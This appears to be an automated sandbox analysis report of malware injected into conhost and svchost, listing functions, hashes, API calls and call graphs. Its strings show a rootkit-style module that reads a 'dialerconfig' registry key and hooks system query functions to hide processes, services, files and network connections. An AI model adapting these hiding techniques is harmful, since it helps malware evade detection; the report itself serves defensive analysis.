                                            • Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                            • Instruction ID: 178ba7a70b487c7996aeedb7a93e32d729062f67a058f3e99010c1ea5efa4f68
                                            • Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                            • Instruction Fuzzy Hash: 4EE08671701B4480DF01DF61D8402E973B0E75DB64BC89132C94C4B315EA38D1E7C311
                                            Function 000001AFBC541BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocFree
                                            • String ID:
                                            • API String ID: 756756679-0
                                            • Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                            • Instruction ID: 2871b7426f0820f8f9f7e24d5927a5920c192db9858cc37ca576c90683a03b07
                                            • Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                            • Instruction Fuzzy Hash: 1D111939712B8481EA54DBA6E8053BB67B1EB8EFC2F184038DE495776ADE38C4438311
                                            Function 000001AFBC541268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: Heap$AllocProcess
                                            • String ID:
                                            • API String ID: 1617791916-0
                                            • Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                            • Instruction ID: daba48c2f3db54e5f11212f8be95aeff4fcfdfb2e1a9d4c7d303d50d0221170b
                                            • Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                            • Instruction Fuzzy Hash: 08E03939722A4486EB44CBA2D8083AA36E1EB8EB06F048028C90907751DF7D849AC761

                                            Execution Graph

                                            Execution Coverage:0.7%
                                            Dynamic/Decrypted Code Coverage:0%
                                            Signature Coverage:0%
                                            Total number of Nodes:73
                                            Total number of Limit Nodes:2
                                            execution_graph 14854 2a661301abc 14859 2a661301628 GetProcessHeap 14854->14859 14856 2a661301ad2 Sleep SleepEx 14857 2a661301acb 14856->14857 14857->14856 14858 2a661301598 StrCmpIW StrCmpW 14857->14858 14858->14857 14860 2a661301648 Concurrency::details::SchedulerProxy::DeleteThis 14859->14860 14904 2a661301268 GetProcessHeap 14860->14904 14862 2a661301650 14863 2a661301268 2 API calls 14862->14863 14864 2a661301661 14863->14864 14865 2a661301268 2 API calls 14864->14865 14866 2a66130166a 14865->14866 14867 2a661301268 2 API calls 14866->14867 14868 2a661301673 14867->14868 14869 2a66130168e RegOpenKeyExW 14868->14869 14870 2a6613018a6 14869->14870 14871 2a6613016c0 RegOpenKeyExW 14869->14871 14870->14857 14872 2a6613016e9 14871->14872 14873 2a6613016ff RegOpenKeyExW 14871->14873 14908 2a6613012bc RegQueryInfoKeyW 14872->14908 14874 2a66130173a RegOpenKeyExW 14873->14874 14875 2a661301723 14873->14875 14878 2a66130175e 14874->14878 14879 2a661301775 RegOpenKeyExW 14874->14879 14919 2a66130104c RegQueryInfoKeyW 14875->14919 14882 2a6613012bc 13 API calls 14878->14882 14883 2a661301799 14879->14883 14884 2a6613017b0 RegOpenKeyExW 14879->14884 14885 2a66130176b RegCloseKey 14882->14885 14886 2a6613012bc 13 API calls 14883->14886 14887 2a6613017eb RegOpenKeyExW 14884->14887 14888 2a6613017d4 14884->14888 14885->14879 14891 2a6613017a6 RegCloseKey 14886->14891 14889 2a661301826 RegOpenKeyExW 14887->14889 14890 2a66130180f 14887->14890 14892 2a6613012bc 13 API calls 14888->14892 14894 2a66130184a 14889->14894 14895 2a661301861 RegOpenKeyExW 14889->14895 14893 2a66130104c 5 API calls 14890->14893 14891->14884 14896 2a6613017e1 RegCloseKey 14892->14896 14897 2a66130181c RegCloseKey 14893->14897 14898 2a66130104c 5 API calls 14894->14898 14899 2a66130189c RegCloseKey 14895->14899 14900 2a661301885 14895->14900 14896->14887 14897->14889 14901 2a661301857 RegCloseKey 14898->14901 14899->14870 14902 2a66130104c 5 API calls 14900->14902 14901->14895 14903 2a661301892 RegCloseKey 14902->14903 14903->14899 14925 2a661316168 14904->14925 14906 2a661301283 GetProcessHeap 14907 2a6613012ae Concurrency::details::SchedulerProxy::DeleteThis 14906->14907 14907->14862 14909 2a661301327 GetProcessHeap 14908->14909 14910 2a66130148a RegCloseKey 14908->14910 14913 2a66130133e Concurrency::details::SchedulerProxy::DeleteThis 14909->14913 14910->14873 14911 2a661301476 GetProcessHeap HeapFree 14911->14910 14912 2a661301352 RegEnumValueW 14912->14913 14913->14911 14913->14912 14915 2a66130141e lstrlenW GetProcessHeap 14913->14915 14916 2a6613013d3 GetProcessHeap 14913->14916 14917 2a6613013f3 GetProcessHeap HeapFree 14913->14917 14918 2a661301443 StrCpyW 14913->14918 14926 2a66130152c 14913->14926 14915->14913 14916->14913 14917->14915 14918->14913 14920 2a6613011b5 RegCloseKey 14919->14920 14923 2a6613010bf Concurrency::details::SchedulerProxy::DeleteThis 14919->14923 14920->14874 14921 2a6613010cf RegEnumValueW 14921->14923 14922 2a66130114e GetProcessHeap 14922->14923 14923->14920 14923->14921 14923->14922 14924 2a66130116e GetProcessHeap HeapFree 14923->14924 14924->14923 14927 2a66130157c 14926->14927 14930 2a661301546 14926->14930 14927->14913 14928 2a66130155d StrCmpIW 14928->14930 14929 2a661301565 StrCmpW 14929->14930 14930->14927 14930->14928 14930->14929 14931 2a6612d273c 14934 2a6612d276a 14931->14934 14932 2a6612d28d4 14933 2a6612d2858 LoadLibraryA 14933->14934 14934->14932 14934->14933

                                            Executed Functions

                                            Function 000002A66130328C Relevance: 4.5, APIs: 3, Instructions: 43threadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
                                            • String ID:
                                            • API String ID: 1683269324-0
                                            • Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                            • Instruction ID: 077229c1eed964279b07ec97370b47b92095969d86f76acc536d4c6ada0caa5e
                                            • Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                            • Instruction Fuzzy Hash: DC11AD70F246408BFB60EB61F98DB6923ECA746F46F8C41249907A3691EF7CC04C8283
                                            Function 000002A661301ABC Relevance: 3.1, APIs: 2, Instructions: 68sleepCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                              • Part of subcall function 000002A661301628: GetProcessHeap.KERNEL32 ref: 000002A661301633
                                              • Part of subcall function 000002A661301628: HeapAlloc.KERNEL32 ref: 000002A661301642
                                              • Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A6613016B2
                                              • Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A6613016DF
                                              • Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613016F9
                                              • Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301719
                                              • Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A661301734
                                              • Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301754
                                              • Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A66130176F
                                              • Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A66130178F
                                              • Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613017AA
                                              • Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A6613017CA
                                            • Sleep.KERNEL32 ref: 000002A661301AD7
                                            • SleepEx.KERNELBASE ref: 000002A661301ADD
                                              • Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613017E5
                                              • Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301805
                                              • Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A661301820
                                              • Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301840
                                              • Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A66130185B
                                              • Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A66130187B
                                              • Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A661301896
                                              • Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613018A0
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: CloseOpen$HeapSleep$AllocProcess
                                            • String ID:
                                            • API String ID: 1534210851-0
                                            • Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                            • Instruction ID: 99b07525fd2711d8e82b8b49fba128a9359a21ce05ef994d83d7f8484eb62716
                                            • Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                            • Instruction Fuzzy Hash: F3314171B00A4593FF509B26DA4D3A963FCAB46FCAF0C54219E0BA7295FF1CC459C292
                                            Function 000002A661303844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 57 2a661303844-2a66130384f 58 2a661303869-2a661303870 57->58 59 2a661303851-2a661303864 StrCmpNIW 57->59 59->58 60 2a661303866 59->60 60->58
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: dialer
                                            • API String ID: 0-3528709123
                                            • Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
                                            • Instruction ID: 84d7da99e8808b0adfb76846f8b28e16625e6655772c6f218550ef611b4de524
                                            • Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
                                            • Instruction Fuzzy Hash: 59D0A760B512498BFF14DFE688CDA603798EB09F45F8C4034D90213150DF6C8A9D9711
                                            Function 000002A6612D273C Relevance: 1.7, APIs: 1, Instructions: 187libraryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238218318.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a6612d0000_svchost.jbxd
                                            Similarity
                                            • API ID: LibraryLoad
                                            • String ID:
                                            • API String ID: 1029625771-0
                                            • Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                            • Instruction ID: 1627250a6f1587746d6adcb486bc21ae0d1f8d3e6a0bb4f849c2ff22e67d6bd2
                                            • Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                            • Instruction Fuzzy Hash: DC61F0B2F016908BDB548F25D0487ADB3AEFB55FA4F688121DE5907788DF38D89AC701

                                            Non-executed Functions

                                            Function 000002A661302B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 367 2a661302b2c-2a661302ba5 call 2a661322ce0 370 2a661302bab-2a661302bb1 367->370 371 2a661302ee0-2a661302f03 367->371 370->371 372 2a661302bb7-2a661302bba 370->372 372->371 373 2a661302bc0-2a661302bc3 372->373 373->371 374 2a661302bc9-2a661302bd9 GetModuleHandleA 373->374 375 2a661302bdb-2a661302beb call 2a661316090 374->375 376 2a661302bed 374->376 378 2a661302bf0-2a661302c0e 375->378 376->378 378->371 381 2a661302c14-2a661302c33 StrCmpNIW 378->381 381->371 382 2a661302c39-2a661302c3d 381->382 382->371 383 2a661302c43-2a661302c4d 382->383 383->371 384 2a661302c53-2a661302c5a 383->384 384->371 385 2a661302c60-2a661302c73 384->385 386 2a661302c83 385->386 387 2a661302c75-2a661302c81 385->387 388 2a661302c86-2a661302c8a 386->388 387->388 389 2a661302c9a 388->389 390 2a661302c8c-2a661302c98 388->390 391 2a661302c9d-2a661302ca7 389->391 390->391 392 2a661302d9d-2a661302da1 391->392 393 2a661302cad-2a661302cb0 391->393 394 2a661302da7-2a661302daa 392->394 395 2a661302ed2-2a661302eda 392->395 396 2a661302cc2-2a661302ccc 393->396 397 2a661302cb2-2a661302cbf call 2a66130199c 393->397 398 2a661302dbb-2a661302dc5 394->398 399 2a661302dac-2a661302db8 call 2a66130199c 394->399 395->371 395->385 401 2a661302cce-2a661302cdb 396->401 402 2a661302d00-2a661302d0a 396->402 397->396 407 2a661302dc7-2a661302dd4 398->407 408 2a661302df5-2a661302df8 398->408 399->398 401->402 403 2a661302cdd-2a661302cea 401->403 404 2a661302d3a-2a661302d3d 402->404 405 2a661302d0c-2a661302d19 402->405 412 2a661302ced-2a661302cf3 403->412 414 2a661302d4b-2a661302d58 lstrlenW 404->414 415 2a661302d3f-2a661302d49 call 2a661301bbc 404->415 405->404 413 2a661302d1b-2a661302d28 405->413 407->408 417 2a661302dd6-2a661302de3 407->417 410 2a661302dfa-2a661302e03 call 2a661301bbc 408->410 411 2a661302e05-2a661302e12 lstrlenW 408->411 410->411 436 2a661302e4a-2a661302e55 410->436 421 2a661302e14-2a661302e1e 411->421 422 2a661302e35-2a661302e3f call 2a661303844 411->422 419 2a661302cf9-2a661302cfe 412->419 420 2a661302d93-2a661302d98 412->420 423 2a661302d2b-2a661302d31 413->423 425 2a661302d5a-2a661302d64 414->425 426 2a661302d7b-2a661302d8d call 2a661303844 414->426 415->414 415->420 427 2a661302de6-2a661302dec 417->427 419->402 419->412 430 2a661302e42-2a661302e44 420->430 421->422 431 2a661302e20-2a661302e33 call 2a66130152c 421->431 422->430 423->420 432 2a661302d33-2a661302d38 423->432 425->426 435 2a661302d66-2a661302d79 call 2a66130152c 425->435 426->420 426->430 427->436 437 2a661302dee-2a661302df3 427->437 430->395 430->436 431->422 431->436 432->404 432->423 435->420 435->426 441 2a661302e57-2a661302e5b 436->441 442 2a661302ecc-2a661302ed0 436->442 437->408 437->427 446 2a661302e5d-2a661302e61 441->446 447 2a661302e63-2a661302e7d call 2a6613085c0 441->447 442->395 446->447 449 2a661302e80-2a661302e83 446->449 447->449 451 2a661302ea6-2a661302ea9 449->451 452 2a661302e85-2a661302ea3 call 2a6613085c0 449->452 451->442 454 2a661302eab-2a661302ec9 call 2a6613085c0 451->454 452->451 454->442
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
                                            • String ID: NtQueryObject$\Device\Nsi$ntdll.dll
                                            • API String ID: 2119608203-3850299575
                                            • Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                            • Instruction ID: 517c12f0b0e1090de60bb0fcc7bf1fefb46beb5eab338aff40a4245cd4b9731a
                                            • Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                            • Instruction Fuzzy Hash: 52B17C72B10A9087EB649F35D64C7A963E9F746F86F485016EE0A63B94DF39CC48C381
                                            Function 000002A661307D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                            • String ID:
                                            • API String ID: 3140674995-0
                                            • Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                            • Instruction ID: cc74eacb843f1603229d41cad126e5c04d88afadf7cf4452611ec155d591a17a
                                            • Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                            • Instruction Fuzzy Hash: E5315072705B808AEB609F60E8483ED73A8F785B44F484429DA8E67B94EF7CC54DC710
                                            Function 000002A66130D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                            • String ID:
                                            • API String ID: 1239891234-0
                                            • Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                            • Instruction ID: 36f9f4375d1256616007857bae393de0df9f8980b3b202d925a5ac7eb32d36a2
                                            • Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                            • Instruction Fuzzy Hash: 4A316F32714F8086DB60CF25E84839E73A8F78AB55F580125EA9E53B68DF7CC159CB41
                                            Function 000002A661301628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
                                            • String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
                                            • API String ID: 106492572-2879589442
                                            • Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                            • Instruction ID: c27f832fced2d29170b0e4fb301a485cb6098ecabde165e8eb95b814a7a813c5
                                            • Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                            • Instruction Fuzzy Hash: BA71F476B10E5087EB10DF65E89D69933B8FB8AF8DF081121DA4F67A68DF28C548C341
                                            Function 000002A6613012BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
                                            • String ID: d
                                            • API String ID: 2005889112-2564639436
                                            • Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                            • Instruction ID: 5c01c19bc0298f85c8339ea94e196dd5b5f1323890ee4be88120aa0ba9bb59bc
                                            • Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                            • Instruction Fuzzy Hash: F0512776A14B8487EB50CFA2E44D35AB7B9F78AF89F094124DA4A27728DF7CC049C741
                                            Function 000002A661301D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: CurrentThread$AddressHandleModuleProc
                                            • String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
                                            • API String ID: 4175298099-1975688563
                                            • Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                            • Instruction ID: 147c2e2ec541b53145e726b289546c28288565d736413d3e5244b9f1f05d4738
                                            • Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                            • Instruction Fuzzy Hash: 8A31A064B10A5AA3EA04EBA5ED5E6D423A9B717F49F8C4113940B331659F3CC24DC3D2
                                            Function 000002A6612D6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 209 2a6612d6910-2a6612d6916 210 2a6612d6951-2a6612d695b 209->210 211 2a6612d6918-2a6612d691b 209->211 212 2a6612d6a78-2a6612d6a8d 210->212 213 2a6612d6945-2a6612d6984 call 2a6612d6fc0 211->213 214 2a6612d691d-2a6612d6920 211->214 218 2a6612d6a8f 212->218 219 2a6612d6a9c-2a6612d6ab6 call 2a6612d6e54 212->219 232 2a6612d6a52 213->232 233 2a6612d698a-2a6612d699f call 2a6612d6e54 213->233 216 2a6612d6922-2a6612d6925 214->216 217 2a6612d6938 __scrt_dllmain_crt_thread_attach 214->217 224 2a6612d6931-2a6612d6936 call 2a6612d6f04 216->224 225 2a6612d6927-2a6612d6930 216->225 222 2a6612d693d-2a6612d6944 217->222 220 2a6612d6a91-2a6612d6a9b 218->220 230 2a6612d6aef-2a6612d6b20 call 2a6612d7190 219->230 231 2a6612d6ab8-2a6612d6aed call 2a6612d6f7c call 2a6612d6e1c call 2a6612d7318 call 2a6612d7130 call 2a6612d7154 call 2a6612d6fac 219->231 224->222 241 2a6612d6b22-2a6612d6b28 230->241 242 2a6612d6b31-2a6612d6b37 230->242 231->220 236 2a6612d6a54-2a6612d6a69 232->236 244 2a6612d69a5-2a6612d69b6 call 2a6612d6ec4 233->244 245 2a6612d6a6a-2a6612d6a77 call 2a6612d7190 233->245 241->242 246 2a6612d6b2a-2a6612d6b2c 241->246 247 2a6612d6b7e-2a6612d6b94 call 2a6612d268c 242->247 248 2a6612d6b39-2a6612d6b43 242->248 259 2a6612d6a07-2a6612d6a11 call 2a6612d7130 244->259 260 2a6612d69b8-2a6612d69dc call 2a6612d72dc call 2a6612d6e0c call 2a6612d6e38 call 2a6612dac0c 244->260 245->212 253 2a6612d6c1f-2a6612d6c2c 246->253 266 2a6612d6bcc-2a6612d6bce 247->266 267 2a6612d6b96-2a6612d6b98 247->267 254 2a6612d6b45-2a6612d6b4d 248->254 255 2a6612d6b4f-2a6612d6b5d call 2a6612e5780 248->255 262 2a6612d6b63-2a6612d6b78 call 2a6612d6910 254->262 255->262 276 2a6612d6c15-2a6612d6c1d 255->276 259->232 280 2a6612d6a13-2a6612d6a1f call 2a6612d7180 259->280 260->259 312 2a6612d69de-2a6612d69e5 __scrt_dllmain_after_initialize_c 260->312 262->247 262->276 274 2a6612d6bd5-2a6612d6bea call 2a6612d6910 266->274 275 2a6612d6bd0-2a6612d6bd3 266->275 267->266 273 2a6612d6b9a-2a6612d6bbc call 2a6612d268c call 2a6612d6a78 267->273 273->266 306 2a6612d6bbe-2a6612d6bc6 call 2a6612e5780 273->306 274->276 294 2a6612d6bec-2a6612d6bf6 274->294 275->274 275->276 276->253 299 2a6612d6a45-2a6612d6a50 280->299 300 2a6612d6a21-2a6612d6a2b call 2a6612d7098 280->300 296 2a6612d6c01-2a6612d6c11 call 2a6612e5780 294->296 297 2a6612d6bf8-2a6612d6bff 294->297 296->276 297->276 299->236 300->299 311 2a6612d6a2d-2a6612d6a3b 300->311 306->266 311->299 312->259 313 2a6612d69e7-2a6612d6a04 call 2a6612dabc8 312->313 313->259
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238218318.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a6612d0000_svchost.jbxd
                                            Similarity
                                            • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                            • String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
                                            • API String ID: 190073905-1786718095
                                            • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction ID: e87bf346922b52b2af9168f1f418e053012b6a09ee5fcf7955fafdcfd6fac762
                                            • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction Fuzzy Hash: 0D81CE21F106818BFA54AB66D48D399329DAF87F80F5C8125DA4987796EF3CC9CD8703
                                            Function 000002A66130CE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            • GetLastError.KERNEL32 ref: 000002A66130CE37
                                            • FlsGetValue.KERNEL32(?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CE4C
                                            • FlsSetValue.KERNEL32(?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CE6D
                                            • FlsSetValue.KERNEL32(?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CE9A
                                            • FlsSetValue.KERNEL32(?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CEAB
                                            • FlsSetValue.KERNEL32(?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CEBC
                                            • SetLastError.KERNEL32 ref: 000002A66130CED7
                                            • FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CF0D
                                            • FlsSetValue.KERNEL32(?,?,00000001,000002A66130ECCC,?,?,?,?,000002A66130BF9F,?,?,?,?,?,000002A661307AB0), ref: 000002A66130CF2C
                                              • Part of subcall function 000002A66130D6CC: HeapAlloc.KERNEL32 ref: 000002A66130D721
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CF54
                                              • Part of subcall function 000002A66130D744: HeapFree.KERNEL32 ref: 000002A66130D75A
                                              • Part of subcall function 000002A66130D744: GetLastError.KERNEL32 ref: 000002A66130D764
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CF65
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CF76
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: Value$ErrorLast$Heap$AllocFree
                                            • String ID:
                                            • API String ID: 570795689-0
